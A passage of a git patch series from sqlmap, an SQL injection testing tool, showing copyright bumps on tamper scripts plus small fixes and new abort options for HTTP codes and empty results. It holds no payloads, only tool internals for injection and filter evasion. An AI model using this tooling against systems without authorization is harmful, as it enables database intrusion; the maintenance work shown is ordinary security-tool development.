-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py
index dd6f68764cb..abe95af15f5 100644
--- a/tamper/space2mssqlhash.py
+++ b/tamper/space2mssqlhash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py
index 7f52f22dca1..32e18e7e582 100644
--- a/tamper/space2mysqlblank.py
+++ b/tamper/space2mysqlblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py
index c9459554751..2c54f9a6a82 100644
--- a/tamper/space2mysqldash.py
+++ b/tamper/space2mysqldash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2plus.py b/tamper/space2plus.py
index 94903b3c51b..d46f4106454 100644
--- a/tamper/space2plus.py
+++ b/tamper/space2plus.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py
index c050fb2af70..880fcc08e68 100644
--- a/tamper/space2randomblank.py
+++ b/tamper/space2randomblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py
index 0d2a36010c5..773ae330078 100644
--- a/tamper/substring2leftright.py
+++ b/tamper/substring2leftright.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py
index 39753be9498..80258af5b94 100644
--- a/tamper/symboliclogical.py
+++ b/tamper/symboliclogical.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py
index daaf69596d5..2b286553dba 100644
--- a/tamper/unionalltounion.py
+++ b/tamper/unionalltounion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py
index 960c0012ca8..b8e04f8d6b0 100644
--- a/tamper/unmagicquotes.py
+++ b/tamper/unmagicquotes.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/uppercase.py b/tamper/uppercase.py
index 83885dd6cd2..c2a03025c6f 100644
--- a/tamper/uppercase.py
+++ b/tamper/uppercase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/varnish.py b/tamper/varnish.py
index f13b28ba6fc..09cb37f7b2b 100644
--- a/tamper/varnish.py
+++ b/tamper/varnish.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py
index 7c57c5c3302..cfd116e16f6 100644
--- a/tamper/versionedkeywords.py
+++ b/tamper/versionedkeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py
index f4688c1975d..1e2de36bde0 100644
--- a/tamper/versionedmorekeywords.py
+++ b/tamper/versionedmorekeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py
index 004f0f89e2f..79edb8b01fd 100644
--- a/tamper/xforwardedfor.py
+++ b/tamper/xforwardedfor.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

From 7940b572ef5f61d0888d588ccece830fc2e07313 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 2 Jan 2023 23:39:27 +0100
Subject: [PATCH 099/599] Trivy minor version bump

---
 lib/core/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 3223a88e4ec..325c5d005d4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7"
+VERSION = "1.7.1.1"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From 96adc7c098751a35457713dd2a1186f3c218fb76 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 15:34:08 +0100
Subject: [PATCH 100/599] Fixes #5285

---
 lib/core/option.py   | 3 +++
 lib/core/settings.py | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 46583762048..3015ee0de8d 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2655,6 +2655,9 @@ def _basicOptionValidation():
             raise SqlmapSyntaxException(errMsg)
 
     if conf.paramExclude:
+        if re.search(r"\A\w+,", conf.paramExclude):
+            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(',')))
+
         try:
             re.compile(conf.paramExclude)
         except Exception as ex:
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 325c5d005d4..e9dcba68f08 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.1"
+VERSION = "1.7.1.2"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From de527f1814a0d6f87eaf4c2b13423c4357b7f679 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 15:35:21 +0100
Subject: [PATCH 101/599] Minor update for #5285

---
 lib/core/option.py   | 2 +-
 lib/core/settings.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 3015ee0de8d..3bf0367ee34 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2656,7 +2656,7 @@ def _basicOptionValidation():
 
     if conf.paramExclude:
         if re.search(r"\A\w+,", conf.paramExclude):
-            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(',')))
+            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(',')))
 
         try:
             re.compile(conf.paramExclude)
diff --git a/lib/core/settings.py b/lib/core/settings.py
index e9dcba68f08..dc743943f37 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.2"
+VERSION = "1.7.1.3"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From b0a1efaa446f5599c492f444ef939aa4ee220bbd Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 17:12:26 +0100
Subject: [PATCH 102/599] Minor update for #5279

---
 lib/core/agent.py    | 2 +-
 lib/core/settings.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/agent.py b/lib/core/agent.py
index 001486101f2..554441791f5 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -489,7 +489,7 @@ def nullAndCastField(self, field):
         if field and Backend.getIdentifiedDbms():
             rootQuery = queries[Backend.getIdentifiedDbms()]
 
-            if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
+            if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL):
                 nulledCastedField = field
             else:
                 if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
diff --git a/lib/core/settings.py b/lib/core/settings.py
index dc743943f37..32e05e4d6dc 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.3"
+VERSION = "1.7.1.4"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From 1f83076e70efd899af05be981c935a07a26865d5 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Sun, 15 Jan 2023 18:07:44 +0100
Subject: [PATCH 103/599] Fixes #5287

---
 lib/core/agent.py    | 3 +++
 lib/core/settings.py | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/lib/core/agent.py b/lib/core/agent.py
index 554441791f5..3a09c44508d 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -596,6 +596,9 @@ def getFields(self, query):
         if not _:
             fieldsSelectFrom = None
 
+        if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
+            fieldsMinMaxstr = None
+
         fieldsToCastStr = fieldsNoSelect
 
         if fieldsSubstr:
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 32e05e4d6dc..516641ba2ba 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.4"
+VERSION = "1.7.1.5"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From d0d4cf4f6df3bf6d92c7322b4098125e4da792ab Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:05:46 +0100
Subject: [PATCH 104/599] Minor update regarding #5297

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 516641ba2ba..05c2618dbf5 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.5"
+VERSION = "1.7.1.6"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index a051756a184..2d5b2e1611f 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -21,7 +21,7 @@
     if hasattr(module, "dialects"):
         _sqlalchemy = module
         warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning)
-except ImportError:
+except:
     pass
 finally:
     sys.path = _path

From 1be7a5aea88fabe4da716dc0193074b58698034d Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:21:46 +0100
Subject: [PATCH 105/599] Fixes #4870

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 7 +++++++
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 05c2618dbf5..9c99f41a6a4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.6"
+VERSION = "1.7.1.7"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index 2d5b2e1611f..73789ba51f5 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -39,6 +39,7 @@
 from lib.core.exception import SqlmapMissingDependence
 from plugins.generic.connector import Connector as GenericConnector
 from thirdparty import six
+from thirdparty.six.moves import urllib as _urllib
 
 def getSafeExString(ex, encoding=None):  # Cross-referenced function
     raise NotImplementedError
@@ -50,6 +51,12 @@ def __init__(self, dialect=None):
         self.dialect = dialect
         self.address = conf.direct
 
+        if conf.dbmsUser:
+            self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
+
+        if conf.dbmsPass:
+            self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
+
         if self.dialect:
             self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address)
 

From c8eea24ac42af9a20e0ab7aaf625f4e390d955d1 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:40:41 +0100
Subject: [PATCH 106/599] Implements #5295

---
 lib/core/optiondict.py |  1 +
 lib/core/settings.py   |  2 +-
 lib/parse/cmdline.py   |  3 +++
 lib/request/inject.py  | 13 +++++++++----
 sqlmap.conf            |  3 +++
 5 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 48343a494ac..c28eca013e9 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -204,6 +204,7 @@
 
     "General": {
         "trafficFile": "string",
+        "abortOnEmpty": "boolean",
         "answers": "string",
         "batch": "boolean",
         "base64Parameter": "string",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 9c99f41a6a4..624caf33e9e 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.7"
+VERSION = "1.7.1.8"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index b6bb36fb4b4..383fba066ec 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -628,6 +628,9 @@ def cmdLineParser(argv=None):
         general.add_argument("-t", dest="trafficFile",
             help="Log all HTTP traffic into a textual file")
 
+        general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true",
+            help="Abort data retrieval on empty results")
+
         general.add_argument("--answers", dest="answers",
             help="Set predefined answers (e.g. \"quit=N,follow=N\")")
 
diff --git a/lib/request/inject.py b/lib/request/inject.py
index a5287831677..039ef1be3f6 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -501,10 +501,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
     kb.safeCharEncode = False
 
     if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
-        warnMsg = "in case of continuous data retrieval problems you are advised to try "
-        warnMsg += "a switch '--no-cast' "
-        warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
-        singleTimeWarnMessage(warnMsg)
+        if conf.abortOnEmpty:
+            errMsg = "aborting due to empty data retrieval"
+            logger.critical(errMsg)
+            raise SystemExit
+        else:
+            warnMsg = "in case of continuous data retrieval problems you are advised to try "
+            warnMsg += "a switch '--no-cast' "
+            warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
+            singleTimeWarnMessage(warnMsg)
 
     # Dirty patch (MSSQL --binary-fields with 0x31003200...)
     if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
diff --git a/sqlmap.conf b/sqlmap.conf
index ecab1a5c5ed..71a12017c53 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -702,6 +702,9 @@ sessionFile =
 # Log all HTTP traffic into a textual file.
 trafficFile = 
 
+# Abort data retrieval on empty results.
+abortOnEmpty = False
+
 # Set predefined answers (e.g. "quit=N,follow=N").
 answers =
 

From a7b59243e205ea54af7c1e90f7ec18d273a4096a Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 18:04:47 +0100
Subject: [PATCH 107/599] One more update regarding #4870

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 624caf33e9e..ef5b581d8f1 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.8"
+VERSION = "1.7.1.9"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index 73789ba51f5..f1bc0d99d60 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -52,9 +52,11 @@ def __init__(self, dialect=None):
         self.address = conf.direct
 
         if conf.dbmsUser:
+            self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
             self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
 
         if conf.dbmsPass:
+            self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
             self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
 
         if self.dialect:

From 633638932216fb56ee8cefb475e4828fe5608c8a Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Tue, 24 Jan 2023 12:00:23 +0100
Subject: [PATCH 108/599] Another update for #5295

---
 lib/core/option.py     | 11 ++++++++++-
 lib/core/optiondict.py |  1 +
 lib/core/settings.py   |  2 +-
 lib/parse/cmdline.py   |  5 ++++-
 lib/request/connect.py | 10 ++++++++++
 sqlmap.conf            |  6 +++++-
 6 files changed, 31 insertions(+), 4 deletions(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 3bf0367ee34..72d834d07cc 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -1696,11 +1696,20 @@ def _cleanupOptions():
             try:
                 conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
             except ValueError:
-                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
                 raise SqlmapSyntaxException(errMsg)
     else:
         conf.ignoreCode = []
 
+    if conf.abortCode:
+        try:
+            conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)]
+        except ValueError:
+            errMsg = "option '--abort-code' should contain a list of integer values"
+            raise SqlmapSyntaxException(errMsg)
+    else:
+        conf.abortCode = []
+
     if conf.paramFilter:
         conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())]
     else:
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index c28eca013e9..761ee99558b 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -39,6 +39,7 @@
         "authType": "string",
         "authCred": "string",
         "authFile": "string",
+        "abortCode": "string",
         "ignoreCode": "string",
         "ignoreProxy": "boolean",
         "ignoreRedirects": "boolean",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ef5b581d8f1..f20420b073f 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.9"
+VERSION = "1.7.1.10"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 383fba066ec..e16e8223adf 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -201,8 +201,11 @@ def cmdLineParser(argv=None):
         request.add_argument("--auth-file", dest="authFile",
             help="HTTP authentication PEM cert/private key file")
 
+        request.add_argument("--abort-code", dest="abortCode",
+            help="Abort on (problematic) HTTP error code(s) (e.g. 401)")
+
         request.add_argument("--ignore-code", dest="ignoreCode",
-            help="Ignore (problematic) HTTP error code (e.g. 401)")
+            help="Ignore (problematic) HTTP error code(s) (e.g. 401)")
 
         request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true",
             help="Ignore system default proxy settings")
diff --git a/lib/request/connect.py b/lib/request/connect.py
index ffc06ad9652..6c27a267eae 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -767,6 +767,11 @@ class _(dict):
             if not multipart:
                 logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
 
+            if code in conf.abortCode:
+                errMsg = "aborting due to detected HTTP code '%d'" % code
+                singleTimeLogMessage(errMsg, logging.CRITICAL)
+                raise SystemExit
+
             if ex.code not in (conf.ignoreCode or []):
                 if ex.code == _http_client.UNAUTHORIZED:
                     errMsg = "not authorized, try to provide right HTTP "
@@ -921,6 +926,11 @@ class _(dict):
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
+            if code in conf.abortCode:
+                errMsg = "aborting due to detected HTTP code '%d'" % code
+                singleTimeLogMessage(errMsg, logging.CRITICAL)
+                raise SystemExit
+
             threadData.lastPage = page
             threadData.lastCode = code
 
diff --git a/sqlmap.conf b/sqlmap.conf
index 71a12017c53..895b601155f 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -101,8 +101,12 @@ authCred =
 # Syntax: key_file
 authFile = 
 
+# Abort on (problematic) HTTP error code (e.g. 401).
+# Valid: string
+abortCode =
+
 # Ignore (problematic) HTTP error code (e.g. 401).
-# Valid: integer
+# Valid: string
 ignoreCode =
 
 # Ignore system default proxy settings.

From fdbc323aa61750eb4f0259fdb3fffebde5ddb01b Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Tue, 24 Jan 2023 12:08:02 +0100
Subject: [PATCH 109/599] One more update for #5295

---
 lib/core/settings.py   | 2 +-
 lib/request/connect.py | 9 +++++----
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index f20420b073f..e4de9fcb438 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.10"
+VERSION = "1.7.1.11"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 6c27a267eae..da1bacad8b9 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -926,10 +926,11 @@ class _(dict):
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
-            if code in conf.abortCode:
-                errMsg = "aborting due to detected HTTP code '%d'" % code
-                singleTimeLogMessage(errMsg, logging.CRITICAL)
-                raise SystemExit
+            for _ in (getattr(conn, "redcode", None), code):
+                if _ is not None and _ in conf.abortCode:
+                    errMsg = "aborting due to detected HTTP code '%d'" % _
+                    singleTimeLogMessage(errMsg, logging.CRITICAL)
+                    raise SystemExit
 
             threadData.lastPage = page
             threadData.lastCode = code

From fbfed061b89bcfa33268a3702922dbd7938ee7cb Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Sat, 28 Jan 2023 21:50:26 +0100
Subject: [PATCH 110/599] Fixes #5300

---
 lib/core/settings.py | 2 +-
 sqlmap.py            | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index e4de9fcb438..93a8da31ede 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.11"
+VERSION = "1.7.1.12"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/sqlmap.py b/sqlmap.py
